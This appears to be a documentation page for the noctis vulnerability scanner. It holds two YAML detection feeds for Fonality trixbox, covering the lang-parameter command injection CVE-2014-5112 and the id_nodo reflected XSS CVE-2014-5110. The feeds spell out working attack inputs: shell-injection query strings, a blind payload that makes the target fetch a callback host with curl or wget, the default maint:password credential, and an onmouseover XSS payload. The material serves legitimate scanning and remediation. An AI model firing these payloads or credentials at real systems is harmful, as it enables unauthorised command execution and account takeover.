Fonality trixbox — 2 vulnerability checks

noctis ships 2 vulnerability checks for Fonality trixbox, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Fonality trixbox maintenance panel lang parameter OS command injection

CVECVE-2014-5112
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/fonality-trixbox/CVE-2014-5112.yaml

Detects the OS command injection in the trixbox maintenance panel (/maint/modules/home/index.php), which passes the lang parameter to a shell command without validation. The feed first requests the page without credentials and goes on only when it answers 200 or 401. On 401 it logs in with HTTP Basic authentication, first with the credentials given in the scan request and then with the trixbox default maintenance account. It sends a lang value that ends the vendor command and runs `echo NOCTIS` followed by the sum of two random numbers computed by the shell; the finding fires only when that sum, which is never part of the request, comes back in the page. When the output is not shown and out-of-band checks are enabled, the injected command fetches a per-scan callback URL with curl or wget, and a received callback confirms the execution. The probe is intrusive: it runs a harmless command on the server and may log in with the default account (exclude category rce to skip it).

How noctis detects it

  1. HTTP(S) request GET /maint/modules/home/index.php
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET /maint/modules/home/index.php?lang=english%3Becho%20NOCTIS%60expr%20{{p.a}}%20%2B%20{…
  6. HTTP(S) request GET /maint/modules/home/index.php?lang=english%3Becho%20NOCTIS%60expr%20{{p.a}}%20%2B%20{…
  7. Parses / computes the next value with a Rhai script
  8. Checks v.proof for ^NOCTIS[0-9]{7}$ → finding QoD 97: Fonality trixbox lang parameter OS command injection (CVE-2014-5112)
  9. HTTP(S) request GET /maint/modules/home/index.php?lang=english%3B%60%28curl%20-s%20-m%205%20http%3A%2F%2F…
  10. HTTP(S) request GET /maint/modules/home/index.php?lang=english%3B%60%28curl%20-s%20-m%205%20http%3A%2F%2F…
  11. Parses / computes the next value with a Rhai script
  12. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Fonality trixbox lang parameter OS command injection (CVE-2014-5112)

References:

Feed source — tests/vulnerabilities/fonality-trixbox/CVE-2014-5112.yaml
# Fonality trixbox — OS command injection in the maintenance panel's home module
# (maint/modules/home/index.php, `lang` parameter), CVE-2014-5112 (EDB-39352,
# BID 68719; the same bug was re-reported for trixbox 2.8.0.4 as CVE-2017-14535,
# EDB-49913).
#
# Backlog issue #1298 points at OpenVAS/Greenbone NASL
# 2014/gb_fonality_trixbox_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.804726,
# GPL-2.0-only), whose only active request is the id_nodo reflected XSS
# (CVE-2014-5110, ported as fonality-trixbox/CVE-2014-5110.yaml). This feed proves
# the CVE the issue is filed under instead of inferring it from the XSS.
#
# Request shape: the public PoCs send `lang=MF;<cmd>` and
# `lang=english|<cmd>||x` with HTTP Basic credentials for the maintenance panel
# (maint:password, the trixbox default). Here the value is
# `english;echo NOCTIS`expr a + b` #`: `;` ends the vendor command, the trailing
# `#` comments out whatever the page appends after the value, and the shell prints
# NOCTIS followed by the sum of two random numbers — a value that is never in the
# request, so a page that merely reflects `lang` cannot match.
#
# Better than the NASL:
#   - Proves code execution for CVE-2014-5112 instead of reporting it from an
#     unrelated XSS on another page.
#   - Blind installs (command output not printed): with OOB enabled the injected
#     command fetches the per-run OOB URL with curl or wget (bounded with -m/-T),
#     the token split by '' so a reflector echoing the request cannot call back.
#   - Credentials: the unauthenticated gate must answer 200 or 401 before any
#     Basic login is sent; on 401 the scan request's credentials are tried first,
#     then the default maint:password.
# CVSS 7.5 is the NVD v2 score (NVD published no v3 score for this CVE).
uid: ae45aa19-0d63-4d36-9ded-8966b398c847
name: "Fonality trixbox maintenance panel lang parameter OS command injection"
description: |
  Detects the OS command injection in the trixbox maintenance panel
  (/maint/modules/home/index.php), which passes the lang parameter to a shell
  command without validation. The feed first requests the page without
  credentials and goes on only when it answers 200 or 401. On 401 it logs in with
  HTTP Basic authentication, first with the credentials given in the scan request
  and then with the trixbox default maintenance account. It sends a lang value
  that ends the vendor command and runs `echo NOCTIS` followed by the sum of two
  random numbers computed by the shell; the finding fires only when that sum,
  which is never part of the request, comes back in the page. When the output is
  not shown and out-of-band checks are enabled, the injected command fetches a
  per-scan callback URL with curl or wget, and a received callback confirms the
  execution. The probe is intrusive: it runs a harmless command on the server and
  may log in with the default account (exclude category rce to skip it).
cves: [CVE-2014-5112]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [fonality, trixbox, asterisk, pbx, rce, command-injection, authenticated, default-credentials, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5112"
  - "https://www.exploit-db.com/exploits/39352"
  - "https://www.exploit-db.com/exploits/49913"
  - "https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/"
  - "http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html"

steps:
  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  - id: init-pre
    action: set_var
    var_name: pre
    var_value: {status: 0, body: ""}

  # Gate: the maintenance home module exists (401 behind Basic auth, 200 if open).
  - id: probe
    action: http_request
    method: GET
    path: "/maint/modules/home/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: pre

  - id: gate
    action: script
    store_as: g
    code: |
      #{ open: pre.status == 200, auth: pre.status == 401 }

  # Random operands; only their sum, never sent, proves execution.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      let n = strlen(oob_token);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b),
         ta: substr(oob_token, 0, 7), tb: substr(oob_token, 8, n - 1) }

  # One pass per account: none (page open), the scan request's credentials,
  # then maint:password. Every stored result is reset at the start of a pass.
  - id: init-r1
    action: set_var
    var_name: r1
    var_value: {status: 0, body: ""}
    loop:
      over: ["none", "supplied", "default"]
      var: acct

  - id: account
    action: script
    store_as: ah
    code: |
      if acct == "none" {
        #{ on: g.open, label: "Sent without credentials", auth: "" }
      } else if acct == "supplied" {
        if g.auth && cred_enabled && is_def_var("cred_username") {
          let pw = "";
          if is_def_var("cred_password") { pw = cred_password; }
          #{ on: true, label: "Logged in with the credentials supplied with the scan",
             auth: "Basic " + base64_encode(cred_username + ":" + pw) }
        } else {
          #{ on: false, label: "", auth: "" }
        }
      } else {
        let dup = cred_enabled && is_def_var("cred_username") && is_def_var("cred_password")
                  && cred_username == "maint" && cred_password == "password";
        #{ on: g.auth && !dup, label: "Logged in with the default maint account",
           auth: "Basic bWFpbnQ6cGFzc3dvcmQ=" }
      }

  # lang=english;echo NOCTIS`expr a + b` #
  - id: inject-open
    action: http_request
    method: GET
    path: "/maint/modules/home/index.php?lang=english%3Becho%20NOCTIS%60expr%20{{p.a}}%20%2B%20{{p.b}}%60%20%23"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "ah.on == true && ah.auth == \"\""
    store_as: r1

  - id: inject-auth
    action: http_request
    method: GET
    path: "/maint/modules/home/index.php?lang=english%3Becho%20NOCTIS%60expr%20{{p.a}}%20%2B%20{{p.b}}%60%20%23"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "ah.on == true && ah.auth != \"\""
    headers:
      Authorization: "{{ah.auth}}"
    store_as: r1

  - id: verdict
    action: script
    store_as: v
    code: |
      let body = "";
      if type_of(r1.body) == "string" { body = r1.body; }
      let hit = ah.on && r1.status == 200 && stridx(body, p.marker) >= 0;
      let proof = "";
      if hit { proof = p.marker; }
      #{ hit: hit, proof: proof, ok: ah.on && r1.status != 0 && r1.status != 401 }

  - id: confirm
    action: match
    source: v.proof
    pattern: "^NOCTIS[0-9]{7}$"
    condition: "v.hit == true"
    on_match:
      finding:
        title: "Fonality trixbox lang parameter OS command injection (CVE-2014-5112)"
        description: "The trixbox maintenance panel ran a shell command injected through the lang parameter of /maint/modules/home/index.php and returned its output. An attacker who can reach the panel (open, or with its often unchanged default password) can run arbitrary commands as the web server user."
        remediation: "trixbox is end-of-life and no fixed release exists: remove the appliance or migrate to a maintained PBX, and until then block access to /maint/ from untrusted networks and change the maintenance password."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{ah.label}}; GET /maint/modules/home/index.php?lang=english;echo NOCTIS`expr {{p.a}} + {{p.b}}` # returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

  # Blind fallback: the shell fetches the per-run OOB URL; '' splits the token so
  # only a shell (quote removal) rebuilds it. Output discarded, timeouts bounded.
  # The fetch sits in backticks so it also runs when the value lands inside a
  # double-quoted argument (the substitution is empty either way).
  - id: inject-oob-open
    action: http_request
    method: GET
    path: "/maint/modules/home/index.php?lang=english%3B%60%28curl%20-s%20-m%205%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{p.ta}}%27%27{{p.tb}}%7C%7Cwget%20-q%20-T%205%20-t%201%20-O%20-%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{p.ta}}%27%27{{p.tb}}%29%3E%2Fdev%2Fnull%202%3E%261%60%20%23"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "oob_enabled && v.ok == true && ah.auth == \"\""
    store_as: r2

  - id: inject-oob-auth
    action: http_request
    method: GET
    path: "/maint/modules/home/index.php?lang=english%3B%60%28curl%20-s%20-m%205%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{p.ta}}%27%27{{p.tb}}%7C%7Cwget%20-q%20-T%205%20-t%201%20-O%20-%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{p.ta}}%27%27{{p.tb}}%29%3E%2Fdev%2Fnull%202%3E%261%60%20%23"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "oob_enabled && v.ok == true && ah.auth != \"\""
    headers:
      Authorization: "{{ah.auth}}"
    store_as: r2

  - id: mark-oob-sent
    action: script
    store_as: oob_sent
    code: |
      oob_sent || (oob_enabled && v.ok == true)

  # Ends the loop group: runs once, after every account pass.
  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent == true"
    store_as: oob_result
    on_success:
      finding:
        title: "Fonality trixbox lang parameter OS command injection (CVE-2014-5112)"
        description: "The trixbox maintenance panel ran a shell command injected through the lang parameter of /maint/modules/home/index.php: the command fetched a per-scan callback URL. An attacker who can reach the panel (open, or with its often unchanged default password) can run arbitrary commands as the web server user."
        remediation: "trixbox is end-of-life and no fixed release exists: remove the appliance or migrate to a maintained PBX, and until then block access to /maint/ from untrusted networks and change the maintenance password."
        confidence_delta: 0.67
        qod: 97
        evidence: "GET /maint/modules/home/index.php?lang=english;`(curl ... || wget ...)` # made {{target_host}}:{{port}} fetch the per-run OOB URL (HTTP callback received)"
      stop: true

Fonality trixbox user help page id_nodo reflected cross-site scripting

CVECVE-2014-5110
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/fonality-trixbox/CVE-2014-5110.yaml

Detects the reflected cross-site scripting in the trixbox user-mode help page (user/help/html/index.php), which copies the id_nodo parameter into the page without escaping. The feed checks the web root and /trixbox: it needs the trixbox user-mode page (user/index.php) to answer 200 with its "trixbox - User Mode" title, then requests the help page with an id_nodo value made of a double quote followed by an onmouseover handler carrying a random marker. The finding fires only when the reply contains that quote and handler unescaped inside a double-quoted HTML attribute, which shows the value breaks out of the attribute and an attacker's link can run script in a trixbox user's browser. The request changes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/user/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/user/help/html/index.php?id_nodo=%22onmouseover%3Dalert%28{{tok}}%29%20%22
  5. Parses / computes the next value with a Rhai script
  6. Checks xss_proof for ^\\?"onmouseover=alert\(noctis[0-9a-f]{12}\)$ → finding QoD 75: Fonality trixbox id_nodo reflected XSS (CVE-2014-5110)

References:

Feed source — tests/vulnerabilities/fonality-trixbox/CVE-2014-5110.yaml
# Fonality trixbox — reflected XSS through the id_nodo parameter of the user-mode
# help page (user/help/html/index.php), CVE-2014-5110 (BID 68720 / 68719).
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_fonality_trixbox_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804726, GPL-2.0-only), backlog issue #1298. The NASL
# checks "/" and "/trixbox": it needs <dir>/user/index.php to answer 200 with
# ">trixbox - User Mode<", then requests
#   <dir>/user/help/html/index.php?id_nodo="onmouseover=alert(document.cookie)%20"
# and matches onmouseover=alert\(document\.cookie\) anywhere in the reply. The
# issue is filed under CVE-2014-5112 (the lang command injection, ported as
# fonality-trixbox/CVE-2014-5112.yaml); this request proves CVE-2014-5110.
#
# Better than the NASL:
#   - A random marker replaces document.cookie, so a static page holding the
#     well-known string cannot match.
#   - The NASL pattern also matches an HTML-escaped reflection
#     (&quot;onmouseover=...) or one in a text node, which is not exploitable.
#     Here the raw double quote (or \" from magic_quotes_gpc, still a breakout in
#     HTML) must sit inside a tag, right before the injected handler.
# CVSS 4.3 is the NVD v2 score (NVD published no v3 score for this CVE).
uid: 43bd1fd3-2135-4f4f-9096-151cd7b11dba
name: "Fonality trixbox user help page id_nodo reflected cross-site scripting"
description: |
  Detects the reflected cross-site scripting in the trixbox user-mode help page
  (user/help/html/index.php), which copies the id_nodo parameter into the page
  without escaping. The feed checks the web root and /trixbox: it needs the
  trixbox user-mode page (user/index.php) to answer 200 with its
  "trixbox - User Mode" title, then requests the help page with an id_nodo value
  made of a double quote followed by an onmouseover handler carrying a random
  marker. The finding fires only when the reply contains that quote and handler
  unescaped inside a double-quoted HTML attribute, which shows the value breaks out of the attribute
  and an attacker's link can run script in a trixbox user's browser. The request
  changes nothing on the server.
cves: [CVE-2014-5110]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [fonality, trixbox, asterisk, pbx, xss]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5110"
  - "http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html"

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: every following step runs once per install dir; each pass
  # resets the values it reads.
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/trixbox"]

  - id: init-help
    action: set_var
    var_name: help
    var_value: {status: 0, body: ""}

  - id: user-home
    action: http_request
    method: GET
    path: "{{dir}}/user/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: home

  - id: gate
    action: script
    store_as: is_trixbox
    code: |
      home.status == 200 && type_of(home.body) == "string"
        && stridx(home.body, ">trixbox - User Mode<") >= 0

  # id_nodo="onmouseover=alert(<marker>) "
  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/user/help/html/index.php?id_nodo=%22onmouseover%3Dalert%28{{tok}}%29%20%22"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "is_trixbox == true"
    store_as: help

  # The quote + handler, unescaped, inside a tag — or "".
  - id: reflection
    action: script
    store_as: xss_proof
    code: |
      let out = "";
      if is_trixbox && help.status == 200 && type_of(help.body) == "string" {
        // A double-quoted attribute value opened inside a tag, then the raw
        // quote (\" under magic_quotes_gpc) that closes it and the handler.
        let m = eregmatch("<[a-zA-Z][^<>]*=[ \t]*\"[^\"<>]*(\\\\?\"onmouseover=alert\\(" + tok + "\\))", help.body);
        if type_of(m) == "array" && m.len() > 1 {
          out = m[1];
        }
      }
      out

  - id: report
    action: match
    source: xss_proof
    pattern: '^\\?"onmouseover=alert\(noctis[0-9a-f]{12}\)$'
    on_match:
      finding:
        title: "Fonality trixbox id_nodo reflected XSS (CVE-2014-5110)"
        description: "The trixbox user-mode help page copied an id_nodo value starting with a double quote into an HTML tag without escaping, so the quote closes the attribute and the injected onmouseover handler becomes part of the page. An attacker can send a crafted link that runs script in the browser of a trixbox user."
        remediation: "trixbox is end-of-life and no fixed release exists: remove the appliance or migrate to a maintained PBX, and until then restrict access to the trixbox web interface to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/user/help/html/index.php?id_nodo=%22onmouseover%3Dalert%28<marker>%29%20%22 returned HTTP 200 with the handler unescaped inside a tag: {{xss_proof}}"
      stop: true

View these feeds on GitHub